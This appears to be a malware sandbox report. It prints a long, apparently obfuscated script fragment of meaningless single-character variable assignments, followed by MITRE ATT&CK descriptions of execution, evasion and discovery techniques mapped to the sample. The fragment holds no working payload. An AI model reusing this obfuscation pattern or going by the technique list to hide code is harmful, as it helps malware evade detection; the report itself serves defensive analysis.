476	hitwj = "o";
477	hitwj = "g";
478	hitwj = "j";
479	hitwj = "C";
480	hitwj = "M";
481	hitwj = "W";
482	hitwj = "S";
483	hitwj = "u";
484	hitwj = "c";
485	hitwj = "j";
486	hitwj = "T";
487	hitwj = "Q";
488	hitwj = "i";
489	hitwj = "Q";
490	hitwj = "P";
491	hitwj = "Z";
492	hitwj = "Q";
493	hitwj = "P";
494	hitwj = "F";
495	hitwj = "t";
496	hitwj = "d";
497	hitwj = "b";
498	hitwj = "O";
499	hitwj = "Z";
500	hitwj = "v";
501	hitwj = "J";
502	hitwj = "v";
503	hitwj = "H";
504	hitwj = "g";
505	hitwj = "X";
506	hitwj = ":";
507	xdjyn = "K";
508	xdjyn = "G";
509	xdjyn = "G";
510	xdjyn = "n";
511	xdjyn = "9";
512	ubqzak = "z";
513	ubqzak = "K";
514	ubqzak = "t";
515	ubqzak = "\"";
516	clpwsewjb = "g";
517	clpwsewjb = "e";
518	clpwsewjb = "W";
519	clpwsewjb = "w";
520	clpwsewjb = "a";
521	clpwsewjb = "C";
522	clpwsewjb = "t";
523	clpwsewjb = "K";
524	clpwsewjb = "o";
525	clpwsewjb = "x";
526	clpwsewjb = "o";
527	clpwsewjb = "t";
528	clpwsewjb = "D";
529	clpwsewjb = "M";
530	clpwsewjb = "T";
531	clpwsewjb = "z";
532	clpwsewjb = "O";
533	clpwsewjb = "w";
534	clpwsewjb = "Z";
535	clpwsewjb = "q";
536	clpwsewjb = "l";
537	clpwsewjb = "l";
538	clpwsewjb = "I";
539	clpwsewjb = "Z";
540	clpwsewjb = "w";
541	clpwsewjb = "C";
542	clpwsewjb = "s";
543	clpwsewjb = "a";
544	clpwsewjb = "k";
545	egwbe = "x";
546	egwbe = "f";
547	egwbe = "a";
548	egwbe = "j";
549	egwbe = "g";
550	egwbe = "k";
551	egwbe = "s";
552	egwbe = "D";
553	egwbe = "T";
554	egwbe = "P";
555	egwbe = "q";
556	egwbe = "Z";
557	egwbe = "x";
558	egwbe = "E";
559	egwbe = "y";
560	egwbe = "N";
561	egwbe = "B";
562	egwbe = "K";
563	egwbe = "k";
564	egwbe = "t";
565	egwbe = "k";
566	egwbe = "V";
567	egwbe = "Y";
568	egwbe = "b";
569	egwbe = "e";
570	egwbe = "O";
571	egwbe = "t";
572	egwbe = "Z";
573	egwbe = "d";
574	egwbe = "t";
575	egwbe = "y";
576	egwbe = "N";
577	egwbe = "t";
578	egwbe = "n";
579	egwbe = "d";
580	egwbe = "K";
581	egwbe = "n";
582	egwbe = "H";
583	egwbe = "Z";
584	egwbe = "2";
585	efmjnhs = "w";
586	efmjnhs = "x";
587	efmjnhs = "F";
588	efmjnhs = "I";
589	efmjnhs = "Y";
590	efmjnhs = "g";
591	efmjnhs = "k";
592	efmjnhs = "C";
593	gzfqnx = "Y";
594	gzfqnx = "T";
595	gzfqnx = "T";
596	gzfqnx = "l";
597	gzfqnx = "k";
598	gzfqnx = "Z";
599	gzfqnx = "l";
600	gzfqnx = "R";
601	gzfqnx = "f";
602	gzfqnx = "B";
603	gzfqnx = "T";
604	gzfqnx = "T";
605	gzfqnx = "M";
606	gzfqnx = "I";
607	gzfqnx = "r";
608	gzfqnx = "g";
609	gzfqnx = "d";
610	gzfqnx = "s";
611	gzfqnx = "c";
612	gzfqnx = "X";
613	gzfqnx = "V";
614	gzfqnx = "Z";
615	gzfqnx = "D";
616	gzfqnx = "d";
617	gzfqnx = "Q";
618	gzfqnx = "K";
619	gzfqnx = "u";
620	gzfqnx = "p";
621	gzfqnx = "D";
622	gzfqnx = "n";
623	gzfqnx = "I";
624	gzfqnx = "T";
625	gzfqnx = "E";
626	gzfqnx = "a";
627	gzfqnx = "T";
628	uhzmeapuk = "G";
629	uhzmeapuk = "g";
630	uhzmeapuk = "F";
631	zltrdb = "w";
632	zltrdb = "z";
633	zltrdb = "l";
634	zltrdb = "K";
635	zltrdb = "s";
636	zltrdb = "k";
637	zltrdb = "f";
638	zltrdb = "D";
639	zltrdb = "I";
640	zltrdb = "X";
641	zltrdb = "L";
642	zltrdb = "P";
643	zltrdb = "u";
644	thtbyrjf = "q";
645	thtbyrjf = "K";
646	thtbyrjf = "N";
647	ejmihp = "L";
648	ejmihp = "s";
649	ejmihp = "i";
650	ejmihp = "Z";
651	ejmihp = "B";
652	ejmihp = "c";
653	ejmihp = "b";
654	ejmihp = "S";
655	ejmihp = "D";
656	ejmihp = "o";
657	ejmihp = "v";
658	ejmihp = "c";
659	ejmihp = "W";
660	ejmihp = "g";
661	ejmihp = "G";
662	ejmihp = "c";
663	ejmihp = "Q";
664	ejmihp = "w";
665	ejmihp = "P";
666	ejmihp = "x";
667	ejmihp = "E";
668	ejmihp = "Y";
669	ejmihp = "B";
670	ejmihp = "g";
671	ejmihp = "f";
672	ejmihp = "g";
673	ejmihp = "k";
674	ejmihp = "S";
675	ejmihp = "I";
676	ejmihp = "b";
677	ejmihp = " ";
678	csjnty = "T";
679	csjnty = "h";
680	csjnty = "n";
681	csjnty = "h";
682	csjnty = "U";
683	csjnty = "a";
684	csjnty = "m";
685	csjnty = "n";
686	csjnty = "V";
687	csjnty = "y";
688	csjnty = "Y";
689	csjnty = "A";
690	csjnty = "n";
691	csjnty = "U";
692	csjnty = "n";
693	csjnty = "l";
694	csjnty = "N";
695	csjnty = "t";
696	csjnty = "U";
697	csjnty = "i";
698	csjnty = "C";
699	csjnty = "O";
700	csjnty = "F";
701	csjnty = "J";
702	csjnty = "R";
703	csjnty = "d";
704	csjnty = "w";
705	csjnty = "B";
706	csjnty = "Q";
707	csjnty = "Z";
708	csjnty = "x";
709	dlfjw = "A";
710	dlfjw = "p";
711	dlfjw = "i";
712	dlfjw = "Y";
713	dlfjw = "M";
714	dlfjw = "D";
715	dlfjw = "Z";
716	dlfjw = "r";
717	dlfjw = "i";
718	dlfjw = "c";
719	dlfjw = "h";
720	dlfjw = "C";
721	dlfjw = "C";
722	dlfjw = "y";
723	dlfjw = "f";
724	dlfjw = "p";
725	dlfjw = "i";
726	dlfjw = "Q";
727	dlfjw = "Z";
728	dlfjw = "w";
729	dlfjw = "G";
730	dlfjw = "h";
731	dlfjw = "n";
732	dlfjw = "Q";
733	dlfjw = "e";
734	dlfjw = "g";
735	dlfjw = "M";
736	dlfjw = "r";
737	dlfjw = "k";
738	dlfjw = "v";
739	dlfjw = "v";
740	fwuyaffav = "G";
741	fwuyaffav = "o";
742	fwuyaffav = "n";
743	fwuyaffav = "S";
744	fwuyaffav = "C";
745	fwuyaffav = "D";
746	fwuyaffav = "r";
747	fwuyaffav = "H";
748	fwuyaffav = "a";
749	fwuyaffav = "C";
750	fwuyaffav = "W";
751	fwuyaffav = "Z";
752	fwuyaffav = "r";
753	fwuyaffav = "d";
754	fwuyaffav = "Q";
755	fwuyaffav = "R";
756	fwuyaffav = "H";
757	fwuyaffav = "I";
758	fwuyaffav = "G";
759	fwuyaffav = "i";
760	fwuyaffav = "m";
761	fwuyaffav = "D";
762	fwuyaffav = "t";
763	fwuyaffav = "L";
764	fwuyaffav = "F";
765	fwuyaffav = "Y";
766	fwuyaffav = "z";
767	fwuyaffav = "P";
768	fwuyaffav = "w";
769	fwuyaffav = "n";
770	fwuyaffav = "n";
771	rarhlnd = "K";
772	rarhlnd = "B";
773	rarhlnd = "q";
774	rarhlnd = "a";
775	rarhlnd = "c";
776	rarhlnd = "D";
777	rarhlnd = "y";
778	rarhlnd = "X";
779	rarhlnd = "r";
780	rarhlnd = "F";
781	rarhlnd = "E";
782	rarhlnd = "l";
783	rarhlnd = "C";
784	rarhlnd = "I";
785	rarhlnd = "c";
786	rarhlnd = "Q";
787	rarhlnd = "P";
788	rarhlnd = "I";
789	rarhlnd = "u";
790	rarhlnd = "Y";
791	rarhlnd = "d";
792	rarhlnd = "P";
793	rarhlnd = "p";
794	rarhlnd = "p";
795	rarhlnd = "p";
796	rarhlnd = "W";
797	rarhlnd = "Y";
798	rarhlnd = "e";
799	phbrix = "C";
800	phbrix = "S";
801	phbrix = "a";
802	phbrix = "P";
803	phbrix = "n";
804	phbrix = "v";
805	phbrix = "E";
806	phbrix = "Z";
807	phbrix = "x";
808	phbrix = "T";
809	phbrix = "v";
810	phbrix = "s";
811	phbrix = "r";
812	phbrix = "T";
813	phbrix = "c";
814	phbrix = "L";
815	phbrix = "C";
816	phbrix = "R";
817	phbrix = "u";
818	phbrix = "W";
819	phbrix = "U";
820	phbrix = "T";
821	phbrix = "H";
822	phbrix = "L";
823	phbrix = "L";
824	phbrix = "a";
825	phbrix = "u";
826	phbrix = "n";
827	phbrix = "v";
828	phbrix = "N";
829	phbrix = "S";
830	phbrix = "p";
831	phbrix = "k";
832	phbrix = "w";
833	phbrix = "M";
834	phbrix = "@";
835	afhkbdnk = "S";
836	afhkbdnk = "Q";
837	afhkbdnk = "G";
838	afhkbdnk = "w";
839	afhkbdnk = "Z";
840	afhkbdnk = "z";
841	afhkbdnk = "C";
842	afhkbdnk = "l";
843	afhkbdnk = "S";
844	afhkbdnk = "h";
845	afhkbdnk = "Q";
846	afhkbdnk = "x";
847	afhkbdnk = "t";
848	afhkbdnk = "q";
849	afhkbdnk = "l";
850	afhkbdnk = "l";
851	fboomkjtt = "b";
852	fboomkjtt = "c";
853	xjwerfq = "L";
854	xjwerfq = "A";
855	xjwerfq = "X";
856	xjwerfq = "b";
857	xjwerfq = "o";
858	xjwerfq = "L";
859	xjwerfq = "o";
860	xjwerfq = "W";
861	xjwerfq = "U";
862	xjwerfq = "A";
863	xjwerfq = "m";
864	xjwerfq = "l";
865	xjwerfq = "P";
866	xjwerfq = "J";
867	xjwerfq = "o";
868	xjwerfq = "R";
869	xjwerfq = "e";
870	xjwerfq = "k";
871	xjwerfq = "V";
872	xjwerfq = "p";
873	xjwerfq = "k";
874	xjwerfq = "Y";
875	xjwerfq = "u";
876	xjwerfq = "i";
877	xjwerfq = "r";
878	xjwerfq = "N";
879	xjwerfq = "l";
880	xjwerfq = "E";
881	xjwerfq = "x";
882	xjwerfq = "P";
883	xjwerfq = "m";
884	xjwerfq = "G";
885	xjwerfq = "j";
886	oahkks = "z";
887	oahkks = "p";
888	oahkks = "c";
889	oahkks = "-";
890	jtmnsf = "u";
891	jtmnsf = "N";
892	jtmnsf = "P";
893	jtmnsf = "e";
894	jtmnsf = "i";
895	jtmnsf = "N";
896	jtmnsf = "H";
897	jtmnsf = "Y";
898	jtmnsf = "m";
899	jtmnsf = "c";
900	jtmnsf = "Y";
901	jtmnsf = "g";
902	jtmnsf = "F";
903	jtmnsf = "E";
904	jtmnsf = "t";
905	jtmnsf = "L";
906	jtmnsf = "N";
907	jtmnsf = "x";
908	jtmnsf = "D";
909	jtmnsf = "n";
910	jtmnsf = "J";
911	jtmnsf = "s";
912	jtmnsf = "W";
913	jtmnsf = "Y";
914	jtmnsf = "c";
915	jtmnsf = "g";
916	jtmnsf = "N";
917	jtmnsf = "E";
918	jtmnsf = "E";
919	jtmnsf = "w";
920	jtmnsf = "A";
921	jtmnsf = "Z";
922	jtmnsf = "Z";
923	jtmnsf = "V";
924	jtmnsf = "K";
925	jtmnsf = "u";
926	jtmnsf = "\\";
927	hefivxfpm = "x";
928	hefivxfpm = "e";
929	hefivxfpm = "N";
930	hefivxfpm = "v";
931	hefivxfpm = "H";
932	hefivxfpm = "z";
933	hefivxfpm = "R";
934	hefivxfpm = "O";
935	hefivxfpm = "R";
936	hefivxfpm = "p";
937	hefivxfpm = "r";
938	hefivxfpm = "i";
939	hefivxfpm = "I";
940	hefivxfpm = "f";
941	hefivxfpm = "p";
942	hefivxfpm = "S";
943	hefivxfpm = "O";
944	hefivxfpm = "y";
945	hefivxfpm = "C";
946	hefivxfpm = "m";
947	hefivxfpm = "s";
948	hefivxfpm = "Q";
949	hefivxfpm = "C";
950	hefivxfpm = "S";
951	hefivxfpm = "m";
952	hefivxfpm = "R";
953	hefivxfpm = "L";
954	hefivxfpm = "I";
955	hefivxfpm = "W";
956	hefivxfpm = "a";
957	hefivxfpm = "C";
958	hefivxfpm = "h";
959	hefivxfpm = "C";
960	hefivxfpm = "z";
961	hefivxfpm = "A";
962	hefivxfpm = "G";
963	hefivxfpm = "b";
964	hefivxfpm = "a";
965	hefivxfpm = "e";
966	hefivxfpm = "r";
967	ekshnt = "b";
968	ekshnt = "p";
969	ekshnt = "a";
970	ekshnt = "z";
971	ekshnt = "E";
972	ekshnt = "X";
973	ekshnt = "S";
974	ekshnt = "Q";
975	ekshnt = "e";
976	ekshnt = "Y";
977	ekshnt = "p";
978	ekshnt = "W";
979	ekshnt = "Z";
980	ekshnt = "V";
981	ekshnt = "g";
982	ekshnt = "k";
983	ekshnt = "T";
984	ekshnt = "t";
985	ekshnt = "R";
986	ekshnt = "q";
987	ekshnt = "a";
988	ekshnt = "y";
989	ekshnt = "u";
990	ekshnt = "G";
991	ekshnt = "A";
992	ekshnt = "b";
993	ekshnt = "F";
994	ekshnt = "p";
995	ekshnt = "e";
996	ekshnt = "I";
997	ekshnt = "g";
998	ekshnt = "V";
999	ekshnt = "I";
1000	ekshnt = "O";
1001	ekshnt = "U";
1002	ekshnt = "B";
1003	ekshnt = "S";
1004	ekshnt = "h";
1005	ekshnt = "P";
1006	ekshnt = "K";
1007	ekshnt = "a";
1008	ekshnt = "D";
1009	ekshnt = "k";
1010	ekshnt = "u";
1011	ekshnt = "1";
1012	qtgovgjir = "O";
1013	qtgovgjir = "K";
1014	qtgovgjir = "U";
1015	qtgovgjir = "N";
1016	qtgovgjir = "q";
1017	qtgovgjir = "C";
1018	qtgovgjir = "C";
1019	qtgovgjir = "i";
1020	qtgovgjir = "x";
1021	qtgovgjir = "d";
1022	qtgovgjir = "a";
1023	qtgovgjir = "i";
1024	qtgovgjir = "F";
1025	qtgovgjir = "x";
1026	qtgovgjir = "C";
1027	qtgovgjir = "y";
1028	qtgovgjir = "S";
1029	qtgovgjir = "Z";
1030	qtgovgjir = "v";
1031	qtgovgjir = "S";
1032	qtgovgjir = "B";
1033	qtgovgjir = "g";
1034	qtgovgjir = "K";
1035	qtgovgjir = "z";
1036	qtgovgjir = "x";
1037	qtgovgjir = "v";
1038	qtgovgjir = "B";
1039	qtgovgjir = "j";
1040	qtgovgjir = "X";
1041	qtgovgjir = "n";
1042	qtgovgjir = "o";
1043	qtgovgjir = "V";
1044	qtgovgjir = "u";
1045	qtgovgjir = "O";
1046	qtgovgjir = "U";
1047	qtgovgjir = "z";
1048	qtgovgjir = "l";
1049	qtgovgjir = "z";
1050	qtgovgjir = "g";
1051	qtgovgjir = "z";
1052	qtgovgjir = "B";
1053	qtgovgjir = "z";
1054	qtgovgjir = "j";
1055	qtgovgjir = "4";
1056	kfoxahmha = "O";
1057	kfoxahmha = "i";
1058	kfoxahmha = "p";
1059	kfoxahmha = "A";
1060	kfoxahmha = "y";
1061	kfoxahmha = "b";
1062	kfoxahmha = "z";
1063	kfoxahmha = "b";
1064	kfoxahmha = "T";
1065	kfoxahmha = "E";
1066	kfoxahmha = "A";
1067	kfoxahmha = "X";
1068	kfoxahmha = "N";
1069	kfoxahmha = "O";
1070	kfoxahmha = "F";
1071	kfoxahmha = "P";
1072	kfoxahmha = "w";
1073	kfoxahmha = "d";
1074	kfoxahmha = "H";
1075	kfoxahmha = "c";
1076	kfoxahmha = "s";
1077	kfoxahmha = "J";
1078	kfoxahmha = "n";
1079	kfoxahmha = "e";
1080	kfoxahmha = "I";
1081	kfoxahmha = "W";
1082	kfoxahmha = "V";
1083	kfoxahmha = "o";
1084	kfoxahmha = "d";
1085	kfoxahmha = "c";
1086	kfoxahmha = "w";
1087	kfoxahmha = "L";
1088	kfoxahmha = "X";
1089	kfoxahmha = "h";
1090	kfoxahmha = "M";
1091	kfoxahmha = "e";
1092	kfoxahmha = "Y";
1093	kfoxahmha = "c";
1094	kfoxahmha = "S";
1095	kfoxahmha = "b";
1096	kfoxahmha = "U";
1097	kfoxahmha = "K";
1098	kfoxahmha = "E";
1099	kfoxahmha = "m";
1100	inkdjvqlp = "m";
1101	inkdjvqlp = "R";
1102	inkdjvqlp = "q";
1103	inkdjvqlp = "E";
1104	inkdjvqlp = "t";
1105	inkdjvqlp = "&";
1106	xqhclmc = "Z";
1107	xqhclmc = "R";
1108	xqhclmc = "M";
1109	xqhclmc = "w";
1110	xqhclmc = "T";
1111	xqhclmc = "y";
1112	xqhclmc = "f";
1113	xqhclmc = "j";
1114	xqhclmc = "E";
1115	xqhclmc = "V";
1116	xqhclmc = ".";
1117	rpxej = "w";
1118	rpxej = "C";
1119	rpxej = "P";
1120	rpxej = "x";
1121	rpxej = "a";
1122	rpxej = "e";
1123	rpxej = "K";
1124	rpxej = "N";
1125	rpxej = "t";
1126	wlwlhuej = "c";
1127	wlwlhuej = "w";
1128	wlwlhuej = "R";
1129	wlwlhuej = "h";
1130	wlwlhuej = "V";
1131	wlwlhuej = "y";
1132	wlwlhuej = "U";
1133	wlwlhuej = "A";
1134	wlwlhuej = "d";
1135	wlwlhuej = "E";
1136	wlwlhuej = "B";
1137	wlwlhuej = "S";
1138	wlwlhuej = "w";
1139	wlwlhuej = "M";
1140	wlwlhuej = "V";
1141	wlwlhuej = "G";
1142	wlwlhuej = "D";
1143	wlwlhuej = "h";
1144	wlwlhuej = "U";
1145	wlwlhuej = "h";
1146	caxhtqrg = "M";
1147	caxhtqrg = "k";
1148	caxhtqrg = "b";
1149	caxhtqrg = "Y";
1150	caxhtqrg = "k";
1151	caxhtqrg = "S";
1152	caxhtqrg = "e";
1153	caxhtqrg = "b";
1154	caxhtqrg = "b";
1155	caxhtqrg = "x";
1156	caxhtqrg = "p";
1157	sindx = "z";
1158	sindx = "R";
1159	sindx = "F";
1160	sindx = "H";
1161	sindx = "V";
1162	sindx = "S";
1163	sindx = "Z";
1164	sindx = "U";
1165	sindx = "n";
1166	sindx = "j";
1167	sindx = "T";
1168	sindx = "W";
1169	sindx = "s";
1170	sindx = "w";
1171	sindx = "m";
1172	sindx = "L";
1173	sindx = "t";
1174	sindx = "j";
1175	sindx = "f";
1176	sindx = "i";
1177	sindx = "d";
1178	sindx = "c";
1179	sindx = "d";
1180	sindx = "E";
1181	sindx = "L";
1182	sindx = "t";
1183	sindx = "j";
1184	sindx = "I";
1185	sindx = "o";
1186	sindx = "v";
1187	sindx = "p";
1188	sindx = "3";
1189	kwaua = "e";
1190	kwaua = "U";
1191	kwaua = "W";
1192	kwaua = "r";
1193	kwaua = "K";
1194	kwaua = "A";
1195	kwaua = "L";
1196	kwaua = "K";
1197	kwaua = "d";
1198	kwaua = "y";
1199	kwaua = "A";
1200	kwaua = "A";
1201	kwaua = "h";
1202	kwaua = "b";
1203	kwaua = "G";
1204	kwaua = "q";
1205	kwaua = "a";
1206	kwaua = "k";
1207	kwaua = "Z";
1208	kwaua = "p";
1209	kwaua = "B";
1210	kwaua = "W";
1211	kwaua = "d";
1212	kwaua = "X";
1213	kwaua = "f";
1214	kwaua = "T";
1215	kwaua = "H";
1216	gjnxfj = "o";
1217	gjnxfj = "G";
1218	gjnxfj = "s";
1219	gjnxfj = "f";
1220	gjnxfj = "d";
1221	gjnxfj = "m";
1222	gjnxfj = "E";
1223	gjnxfj = "x";
1224	gjnxfj = "c";
1225	gjnxfj = "j";
1226	gjnxfj = "x";
1227	gjnxfj = "L";
1228	gjnxfj = "O";
1229	gjnxfj = "r";
1230	gjnxfj = "p";
1231	gjnxfj = "s";
1232	gjnxfj = "u";
1233	gjnxfj = "C";
1234	gjnxfj = "b";
1235	gjnxfj = "R";
1236	gjnxfj = "G";
1237	gjnxfj = "s";
1238	gjnxfj = "J";
1239	gjnxfj = "d";
1240	gjnxfj = "Z";
1241	gjnxfj = "q";
1242	gjnxfj = "a";
1243	gjnxfj = "V";
1244	gjnxfj = "j";
1245	gjnxfj = "T";
1246	gjnxfj = "P";
1247	gjnxfj = "b";
1248	xliuh = "n";
1249	xliuh = "S";
1250	xliuh = "S";
1251	xliuh = "s";
1252	xliuh = "N";
1253	xliuh = "b";
1254	xliuh = "N";
1255	xliuh = "G";
1256	xliuh = "R";
1257	xliuh = "K";
1258	seugqjgd = "G";
1259	seugqjgd = "l";
1260	seugqjgd = "N";
1261	seugqjgd = "J";
1262	seugqjgd = "J";
1263	seugqjgd = "y";
1264	seugqjgd = "K";
1265	seugqjgd = "p";
1266	seugqjgd = "z";
1267	seugqjgd = "q";
1268	seugqjgd = "P";
1269	seugqjgd = "U";
1270	gjjzjhax = "T";
1271	gjjzjhax = "k";
1272	gjjzjhax = "j";
1273	gjjzjhax = "W";
1274	gjjzjhax = "Q";
1275	gjjzjhax = "H";
1276	gjjzjhax = "X";
1277	gjjzjhax = "i";
1278	gjjzjhax = "N";
1279	gjjzjhax = "y";
1280	gjjzjhax = "H";
1281	gjjzjhax = "J";
1282	gjjzjhax = "d";
1283	gjjzjhax = "X";
1284	gjjzjhax = "M";
1285	gjjzjhax = "k";
1286	gjjzjhax = "L";
1287	gjjzjhax = "E";
1288	gjjzjhax = "B";
1289	gjjzjhax = "g";
1290	gjjzjhax = "c";
1291	gjjzjhax = "d";
1292	gjjzjhax = "E";
1293	gjjzjhax = "c";
1294	gjjzjhax = "i";
1295	gjjzjhax = "D";
1296	gjjzjhax = "i";
1297	gjjzjhax = "h";
1298	gjjzjhax = "v";
1299	gjjzjhax = "U";
1300	gjjzjhax = "s";
1301	gjjzjhax = "h";
1302	gjjzjhax = "D";
1303	gjjzjhax = "D";
1304	gjjzjhax = "D";
1305	gjjzjhax = "P";
1306	mujgmdgc = "S";
1307	mujgmdgc = "f";
1308	mujgmdgc = "i";
1309	mujgmdgc = "G";
1310	mujgmdgc = "E";
1311	mujgmdgc = "e";
1312	mujgmdgc = "q";
1313	mujgmdgc = "p";
1314	mujgmdgc = "M";
1315	mujgmdgc = "k";
1316	mujgmdgc = "K";
1317	mujgmdgc = "K";
1318	mujgmdgc = "W";
1319	mujgmdgc = "Q";
1320	mujgmdgc = "L";
1321	mujgmdgc = "g";
1322	mujgmdgc = "B";
1323	mujgmdgc = "C";
1324	mujgmdgc = "A";
1325	mujgmdgc = "q";
1326	mujgmdgc = "i";
1327	mujgmdgc = "I";
1328	mujgmdgc = "X";
1329	mujgmdgc = "h";
1330	mujgmdgc = "y";
1331	mujgmdgc = "Y";
1332	mujgmdgc = "s";
1333	mujgmdgc = "Y";
1334	jlhmixkm = "R";
1335	jlhmixkm = "B";
1336	jlhmixkm = "C";
1337	jlhmixkm = "U";
1338	jlhmixkm = "i";
1339	jlhmixkm = "a";
1340	jlhmixkm = "S";
1341	jlhmixkm = "A";
1342	jlhmixkm = "x";
1343	jlhmixkm = "D";
1344	jlhmixkm = "L";
1345	jlhmixkm = "Z";
1346	jlhmixkm = "e";
1347	jlhmixkm = "S";
1348	uypeavur = "%";
1349	rxvzibnm ( );	rxvzibnm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

